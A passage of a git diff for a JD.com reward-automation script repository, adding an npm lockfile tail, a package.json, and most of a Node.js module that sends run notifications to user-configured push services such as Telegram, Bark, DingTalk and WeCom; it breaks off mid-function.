+ "qrcode-terminal": {
+ "version": "0.12.0",
+ "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz",
+ "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ=="
+ },
+ "qs": {
+ "version": "6.9.4",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.4.tgz",
+ "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ=="
+ },
+ "query-string": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz",
+ "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==",
+ "requires": {
+ "decode-uri-component": "^0.2.0",
+ "object-assign": "^4.1.0",
+ "strict-uri-encode": "^1.0.0"
+ }
+ },
+ "quick-lru": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+ "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA=="
+ },
+ "readable-stream": {
+ "version": "2.3.7",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+ "requires": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+ "isarray": "~1.0.0",
+ "process-nextick-args": "~2.0.0",
+ "safe-buffer": "~5.1.1",
+ "string_decoder": "~1.1.1",
+ "util-deprecate": "~1.0.1"
+ }
+ },
+ "request": {
+ "version": "2.88.2",
+ "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
+ "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
+ "requires": {
+ "aws-sign2": "~0.7.0",
+ "aws4": "^1.8.0",
+ "caseless": "~0.12.0",
+ "combined-stream": "~1.0.6",
+ "extend": "~3.0.2",
+ "forever-agent": "~0.6.1",
+ "form-data": "~2.3.2",
+ "har-validator": "~5.1.3",
+ "http-signature": "~1.2.0",
+ "is-typedarray": "~1.0.0",
+ "isstream": "~0.1.2",
+ "json-stringify-safe": "~5.0.1",
+ "mime-types": "~2.1.19",
+ "oauth-sign": "~0.9.0",
+ "performance-now": "^2.1.0",
+ "qs": "~6.5.2",
+ "safe-buffer": "^5.1.2",
+ "tough-cookie": "~2.5.0",
+ "tunnel-agent": "^0.6.0",
+ "uuid": "^3.3.2"
+ },
+ "dependencies": {
+ "qs": {
+ "version": "6.5.2",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
+ "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA=="
+ },
+ "tough-cookie": {
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
+ "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
+ "requires": {
+ "psl": "^1.1.28",
+ "punycode": "^2.1.1"
+ }
+ }
+ }
+ },
+ "requires-port": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+ "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8="
+ },
+ "resolve-alpn": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.0.0.tgz",
+ "integrity": "sha512-rTuiIEqFmGxne4IovivKSDzld2lWW9QCjqv80SYjPgf+gS35eaCAjaP54CCwGAwBtnCsvNLYtqxe1Nw+i6JEmA=="
+ },
+ "responselike": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
+ "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
+ "requires": {
+ "lowercase-keys": "^1.0.0"
+ }
+ },
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+ },
+ "safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+ },
+ "secure-compare": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz",
+ "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM="
+ },
+ "seek-bzip": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz",
+ "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==",
+ "requires": {
+ "commander": "^2.8.1"
+ }
+ },
+ "semver": {
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+ },
+ "sort-keys": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz",
+ "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=",
+ "requires": {
+ "is-plain-obj": "^1.0.0"
+ }
+ },
+ "sort-keys-length": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz",
+ "integrity": "sha1-nLb09OnkgVWmqgZx7dM2/xR5oYg=",
+ "requires": {
+ "sort-keys": "^1.0.0"
+ }
+ },
+ "sshpk": {
+ "version": "1.16.1",
+ "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz",
+ "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==",
+ "requires": {
+ "asn1": "~0.2.3",
+ "assert-plus": "^1.0.0",
+ "bcrypt-pbkdf": "^1.0.0",
+ "dashdash": "^1.12.0",
+ "ecc-jsbn": "~0.1.1",
+ "getpass": "^0.1.1",
+ "jsbn": "~0.1.0",
+ "safer-buffer": "^2.0.2",
+ "tweetnacl": "~0.14.0"
+ }
+ },
+ "strict-uri-encode": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz",
+ "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM="
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "requires": {
+ "safe-buffer": "~5.1.0"
+ }
+ },
+ "strip-dirs": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz",
+ "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==",
+ "requires": {
+ "is-natural-number": "^4.0.1"
+ }
+ },
+ "strip-outer": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz",
+ "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==",
+ "requires": {
+ "escape-string-regexp": "^1.0.2"
+ }
+ },
+ "tar-stream": {
+ "version": "1.6.2",
+ "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz",
+ "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==",
+ "requires": {
+ "bl": "^1.0.0",
+ "buffer-alloc": "^1.2.0",
+ "end-of-stream": "^1.0.0",
+ "fs-constants": "^1.0.0",
+ "readable-stream": "^2.3.0",
+ "to-buffer": "^1.1.1",
+ "xtend": "^4.0.0"
+ }
+ },
+ "through": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
+ "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU="
+ },
+ "timed-out": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz",
+ "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8="
+ },
+ "to-buffer": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz",
+ "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg=="
+ },
+ "tough-cookie": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz",
+ "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==",
+ "requires": {
+ "psl": "^1.1.33",
+ "punycode": "^2.1.1",
+ "universalify": "^0.1.2"
+ }
+ },
+ "trim-repeated": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz",
+ "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=",
+ "requires": {
+ "escape-string-regexp": "^1.0.2"
+ }
+ },
+ "tunnel": {
+ "version": "0.0.6",
+ "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
+ "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg=="
+ },
+ "tunnel-agent": {
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
+ "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
+ "requires": {
+ "safe-buffer": "^5.0.1"
+ }
+ },
+ "tweetnacl": {
+ "version": "0.14.5",
+ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
+ "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q="
+ },
+ "unbzip2-stream": {
+ "version": "1.4.3",
+ "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz",
+ "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==",
+ "requires": {
+ "buffer": "^5.2.1",
+ "through": "^2.3.8"
+ }
+ },
+ "union": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz",
+ "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==",
+ "requires": {
+ "qs": "^6.4.0"
+ }
+ },
+ "universalify": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
+ "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="
+ },
+ "uri-js": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.0.tgz",
+ "integrity": "sha512-B0yRTzYdUCCn9n+F4+Gh4yIDtMQcaJsmYBDsTSG8g/OejKBodLQ2IHfN3bM7jUsRXndopT7OIXWdYqc1fjmV6g==",
+ "requires": {
+ "punycode": "^2.1.0"
+ }
+ },
+ "url-join": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz",
+ "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg="
+ },
+ "url-parse-lax": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
+ "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
+ "requires": {
+ "prepend-http": "^2.0.0"
+ }
+ },
+ "url-to-options": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz",
+ "integrity": "sha1-FQWgOiiaSMvXpDTvuu7FBV9WM6k="
+ },
+ "util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
+ },
+ "uuid": {
+ "version": "3.4.0",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
+ "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
+ },
+ "verror": {
+ "version": "1.10.0",
+ "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
+ "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
+ "requires": {
+ "assert-plus": "^1.0.0",
+ "core-util-is": "1.0.2",
+ "extsprintf": "^1.2.0"
+ }
+ },
+ "wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
+ },
+ "xtend": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="
+ },
+ "yauzl": {
+ "version": "2.10.0",
+ "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz",
+ "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=",
+ "requires": {
+ "buffer-crc32": "~0.2.3",
+ "fd-slicer": "~1.1.0"
+ }
+ }
+ }
+}
diff --git a/Task/package.json b/Task/package.json
new file mode 100644
index 0000000..1f85aaf
--- /dev/null
+++ b/Task/package.json
@@ -0,0 +1,29 @@
+{
+ "name": "LXK9301",
+ "version": "1.0.0",
+ "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}",
+ "main": "AlipayManor.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1"
+ },
+ "repository": {
+ "type": "git",
+ "url": "https://github.com/LXK9301/jd_scripts.git"
+ },
+ "keywords": [
+ "京东薅羊毛工具, 京东水果、宠物、种豆等等"
+ ],
+ "author": "LXK9301",
+ "license": "ISC",
+ "dependencies": {
+ "crypto-js": "^4.0.0",
+ "download": "^8.0.0",
+ "got": "^11.5.1",
+ "http-server": "^0.12.3",
+ "qrcode-terminal": "^0.12.0",
+ "request": "^2.88.2",
+ "tough-cookie": "^4.0.0",
+ "tunnel": "0.0.6",
+ "ws": "^7.4.3"
+ }
+}
diff --git a/Task/sendNotify.js b/Task/sendNotify.js
new file mode 100644
index 0000000..8821eaa
--- /dev/null
+++ b/Task/sendNotify.js
@@ -0,0 +1,708 @@
+/*
+ Last Modified time: 2021-4-3 16:00:54
+ */
+/**
+ * sendNotify 推送通知功能
+ * @param text 通知头
+ * @param desp 通知体
+ * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' }
+ * @param author 作者仓库等信息 例:`本脚本免费使用 By:xxx`
+ * @returns {Promise}
+ */
+const querystring = require("querystring");
+const $ = new Env();
+const timeout = 15000;//超时时间(单位毫秒)
+// =======================================微信server酱通知设置区域===========================================
+//此处填你申请的SCKEY.
+//(环境变量名 PUSH_KEY)
+let SCKEY = '';
+
+// =======================================Bark App通知设置区域===========================================
+//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX)
+let BARK_PUSH = '';
+//BARK app推送铃声,铃声列表去APP查看复制填写
+let BARK_SOUND = '';
+
+
+// =======================================telegram机器人通知设置区域===========================================
+//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw
+//(环境变量名 TG_BOT_TOKEN)
+let TG_BOT_TOKEN = '';
+//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206
+//(环境变量名 TG_USER_ID)
+let TG_USER_ID = '';
+//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填)
+let TG_PROXY_HOST = '';//例如:127.0.0.1(环境变量名:TG_PROXY_HOST)
+let TG_PROXY_PORT = '';//例如:1080(环境变量名:TG_PROXY_PORT)
+let TG_PROXY_AUTH = '';//tg代理配置认证参数
+//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST)
+let TG_API_HOST = 'api.telegram.org'
+// =======================================钉钉机器人通知设置区域===========================================
+//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd
+//(环境变量名 DD_BOT_TOKEN)
+let DD_BOT_TOKEN = '';
+//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串
+let DD_BOT_SECRET = '';
+
+// =======================================企业微信机器人通知设置区域===========================================
+//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa
+//(环境变量名 QYWX_KEY)
+let QYWX_KEY = '';
+
+// =======================================企业微信应用消息通知设置区域===========================================
+/*
+此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236)
+环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型)
+注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat
+可选推送消息类型(推荐使用图文消息(mpnews)):
+- 文本卡片消息: 0 (数字零)
+- 文本消息: 1 (数字一)
+- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note)
+*/
+let QYWX_AM = '';
+
+// =======================================iGot聚合推送通知设置区域===========================================
+//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX)
+let IGOT_PUSH_KEY = '';
+
+// =======================================push+设置区域=======================================
+//官方文档:http://www.pushplus.plus/
+//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送
+//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送)
+let PUSH_PLUS_TOKEN = '';
+let PUSH_PLUS_USER = '';
+
+//==========================云端环境变量的判断与接收=========================
+if (process.env.PUSH_KEY) {
+ SCKEY = process.env.PUSH_KEY;
+}
+
+if (process.env.QQ_SKEY) {
+ QQ_SKEY = process.env.QQ_SKEY;
+}
+
+if (process.env.QQ_MODE) {
+ QQ_MODE = process.env.QQ_MODE;
+}
+
+
+if (process.env.BARK_PUSH) {
+ if(process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) {
+ //兼容BARK自建用户
+ BARK_PUSH = process.env.BARK_PUSH
+ } else {
+ BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}`
+ }
+ if (process.env.BARK_SOUND) {
+ BARK_SOUND = process.env.BARK_SOUND
+ }
+} else {
+ if(BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1) {
+ //兼容BARK本地用户只填写设备码的情况
+ BARK_PUSH = `https://api.day.app/${BARK_PUSH}`
+ }
+}
+if (process.env.TG_BOT_TOKEN) {
+ TG_BOT_TOKEN = process.env.TG_BOT_TOKEN;
+}
+if (process.env.TG_USER_ID) {
+ TG_USER_ID = process.env.TG_USER_ID;
+}
+if (process.env.TG_PROXY_AUTH) TG_PROXY_AUTH = process.env.TG_PROXY_AUTH;
+if (process.env.TG_PROXY_HOST) TG_PROXY_HOST = process.env.TG_PROXY_HOST;
+if (process.env.TG_PROXY_PORT) TG_PROXY_PORT = process.env.TG_PROXY_PORT;
+if (process.env.TG_API_HOST) TG_API_HOST = process.env.TG_API_HOST;
+
+if (process.env.DD_BOT_TOKEN) {
+ DD_BOT_TOKEN = process.env.DD_BOT_TOKEN;
+ if (process.env.DD_BOT_SECRET) {
+ DD_BOT_SECRET = process.env.DD_BOT_SECRET;
+ }
+}
+
+if (process.env.QYWX_KEY) {
+ QYWX_KEY = process.env.QYWX_KEY;
+}
+
+if (process.env.QYWX_AM) {
+ QYWX_AM = process.env.QYWX_AM;
+}
+
+if (process.env.IGOT_PUSH_KEY) {
+ IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY
+}
+
+if (process.env.PUSH_PLUS_TOKEN) {
+ PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN;
+}
+if (process.env.PUSH_PLUS_USER) {
+ PUSH_PLUS_USER = process.env.PUSH_PLUS_USER;
+}
+//==========================云端环境变量的判断与接收=========================
+
+/**
+ * sendNotify 推送通知功能
+ * @param text 通知头
+ * @param desp 通知体
+ * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' }
+ * @param author 作者仓库等信息 例:`本脚本免费使用 By:xxxx`
+ * @returns {Promise}
+ */
+async function sendNotify(text, desp, params = {}, author = '\n\n仅供用于学习 https://t.me/jdfruit') {
+ //提供6种通知
+ desp += author;//增加作者信息,防止被贩卖等
+ await Promise.all([
+ serverNotify(text, desp),//微信server酱
+ pushPlusNotify(text, desp)//pushplus(推送加)
+ ])
+ //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动
+ text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text;
+ await Promise.all([
+ BarkNotify(text, desp, params),//iOS Bark APP
+ tgBotNotify(text, desp),//telegram 机器人
+ ddBotNotify(text, desp),//钉钉机器人
+ qywxBotNotify(text, desp), //企业微信机器人
+ qywxamNotify(text, desp), //企业微信应用消息推送
+ iGotNotify(text, desp, params),//iGot
+ //CoolPush(text, desp)//QQ酷推
+ ])
+}
+
+function serverNotify(text, desp, time = 2100) {
+ return new Promise(resolve => {
+ if (SCKEY) {
+ //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换
+ desp = desp.replace(/[\n\r]/g, '\n\n');
+ const options = {
+ url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`,
+ body: `text=${text}&desp=${desp}`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ timeout
+ }
+ setTimeout(() => {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('发送通知调用API失败!!\n')
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ //server酱和Server酱·Turbo版的返回json格式不太一样
+ if (data.errno === 0 || data.data.errno === 0 ) {
+ console.log('server酱发送通知消息成功🎉\n')
+ } else if (data.errno === 1024) {
+ // 一分钟内发送相同的内容会触发
+ console.log(`server酱发送通知消息异常: ${data.errmsg}\n`)
+ } else {
+ console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ }, time)
+ } else {
+ console.log('\n\n您未提供server酱的SCKEY,取消微信推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+
+function CoolPush(text, desp) {
+ return new Promise(resolve => {
+ if (QQ_SKEY) {
+ let options = {
+ url: `https://push.xuthus.cc/${QQ_MODE}/${QQ_SKEY}`,
+ headers: {
+ 'Content-Type': 'application/json'
+ }
+ }
+
+ // 已知敏感词
+ text = text.replace(/京豆/g, "豆豆");
+ desp = desp.replace(/京豆/g, "");
+ desp = desp.replace(/🐶/g, "");
+ desp = desp.replace(/红包/g, "H包");
+
+ switch (QQ_MODE) {
+ case "email":
+ options.json = {
+ "t": text,
+ "c": desp,
+ };
+ break;
+ default:
+ options.body = `${text}\n\n${desp}`;
+ }
+
+ let pushMode = function(t) {
+ switch (t){
+ case "send":
+ return "个人";
+ case "group":
+ return "QQ群";
+ case "wx":
+ return "微信";
+ case "ww":
+ return "企业微信";
+ case "email":
+ return "邮件";
+ default:
+ return "未知方式"
+ }
+ }
+
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`发送${pushMode(QQ_MODE)}通知调用API失败!!\n`)
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.code === 200) {
+ console.log(`酷推发送${pushMode(QQ_MODE)}通知消息成功🎉\n`)
+ } else if (data.code === 400) {
+ console.log(`QQ酷推(Cool Push)发送${pushMode(QQ_MODE)}推送失败:${data.msg}\n`)
+ } else if (data.code === 503) {
+ console.log(`QQ酷推出错,${data.message}:${data.data}\n`)
+ }else{
+ console.log(`酷推推送异常: ${JSON.stringify(data)}`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ } else {
+ console.log('您未提供酷推的SKEY,取消QQ推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+
+function BarkNotify(text, desp, params={}) {
+ return new Promise(resolve => {
+ if (BARK_PUSH) {
+ const options = {
+ url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent(desp)}?sound=${BARK_SOUND}&${querystring.stringify(params)}`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ timeout
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('Bark APP发送通知调用API失败!!\n')
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.code === 200) {
+ console.log('Bark APP发送通知消息成功🎉\n')
+ } else {
+ console.log(`${data.message}\n`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ })
+ } else {
+ console.log('您未提供Bark的APP推送BARK_PUSH,取消Bark推送消息通知🚫\n');
+ resolve()
+ }
+ })
+}
+
+function tgBotNotify(text, desp) {
+ return new Promise(resolve => {
+ if (TG_BOT_TOKEN && TG_USER_ID) {
+ const options = {
+ url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`,
+ body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`,
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ timeout
+ }
+ if (TG_PROXY_HOST && TG_PROXY_PORT) {
+ const tunnel = require("tunnel");
+ const agent = {
+ https: tunnel.httpsOverHttp({
+ proxy: {
+ host: TG_PROXY_HOST,
+ port: TG_PROXY_PORT * 1,
+ proxyAuth: TG_PROXY_AUTH
+ }
+ })
+ }
+ Object.assign(options, { agent })
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('telegram发送通知消息失败!!\n')
+ console.log(err);
+ } else {
+ data = JSON.parse(data);
+ if (data.ok) {
+ console.log('Telegram发送通知消息成功🎉。\n')
+ } else if (data.error_code === 400) {
+ console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n')
